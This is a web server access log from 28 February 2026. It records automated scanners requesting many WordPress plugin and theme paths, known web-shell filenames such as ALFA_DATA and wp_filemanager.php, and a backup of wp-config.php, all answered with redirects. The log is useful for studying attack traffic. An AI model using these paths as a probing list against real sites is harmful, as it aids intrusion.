/wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:14 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:14 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:15:14 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:14 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:15 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:15 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:15 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:15 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:15 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:16 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:16 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:16 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:15:16 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:17 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:17 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:17 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:17 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:17 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:18 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:18 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:18 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:18 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:15:18 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:19 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:15:19 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:19 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:19 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:19 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:20 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:15:20 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:20 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:15:20 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:21 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:21 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:15:21 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:21 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:21 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:15:22 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:22 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:22 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:22 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:23 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:23 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:23 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:15:23 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:15:23 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:24 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:24 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:24 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:24 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:24 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:25 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:15:25 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:25 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:25 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:25 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:15:26 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:15:26 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:26 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:15:26 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:15:27 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:27 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:15:27 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:15:27 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:27 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:15:28 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:28 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:15:28 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:28 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.194.217.192 - - [28/Feb/2026:03:06:50 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:28 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:29 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:29 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:29 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:29 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:30 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:30 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 27.46.69.11 - - [28/Feb/2026:02:58:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.4294.147 Safari/537.36 LBBROWSER" 20.104.124.39 - - [28/Feb/2026:02:41:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 144.91.97.38 - - [28/Feb/2026:04:16:21 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (WordPress CMS Scanner)" 141.138.213.100 - - [28/Feb/2026:04:26:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 14; Mobile; rv:123.0) Gecko/123.0 Firefox/123" 162.142.125.114 - - [28/Feb/2026:03:44:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 106.54.62.156 - - [28/Feb/2026:04:43:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.71.132 - - [28/Feb/2026:05:51:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.47.33 - - [28/Feb/2026:06:59:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.79.173 - - [28/Feb/2026:08:48:57 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.160 - - [28/Feb/2026:08:49:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 144.172.114.76 - - [28/Feb/2026:08:53:44 +0300] "GET /wp-config.php~ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 42.83.147.54 - - [28/Feb/2026:08:28:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 14.18.16.150 - - [28/Feb/2026:07:36:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.220.232.240 - - [28/Feb/2026:07:33:21 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 85.11.167.108 - - [28/Feb/2026:06:34:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13.71.191.191 - - [28/Feb/2026:10:01:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 14.18.16.154 - - [28/Feb/2026:11:08:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 110.166.71.39 - - [28/Feb/2026:11:13:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 124.156.157.91 - - [28/Feb/2026:12:46:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.113.19.56 - - [28/Feb/2026:14:54:15 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.157.52.37 - - [28/Feb/2026:13:41:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 100.30.5.6 - - [28/Feb/2026:13:53:19 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 87.121.84.97 - - [28/Feb/2026:17:22:08 +0300] "GET /theme/assets/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 123.187.240.242 - - [28/Feb/2026:18:00:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.164.196.57 - - [28/Feb/2026:18:19:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.11.236 - - [28/Feb/2026:19:58:53 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:03:14 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:14 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:05 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:11:55 +0300] "GET /w4.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:14:09 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:16:58 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:18:30 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:57:19 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:57:25 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:57:48 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:58:28 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:58:58 +0300] "GET /fleen.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:59:11 +0300] "GET /av6m.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:19:59:30 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:00:30 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:03:04 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:03:26 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:03:55 +0300] "GET //sc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:04:30 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:05:14 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:09:37 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [28/Feb/2026:20:13:30 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 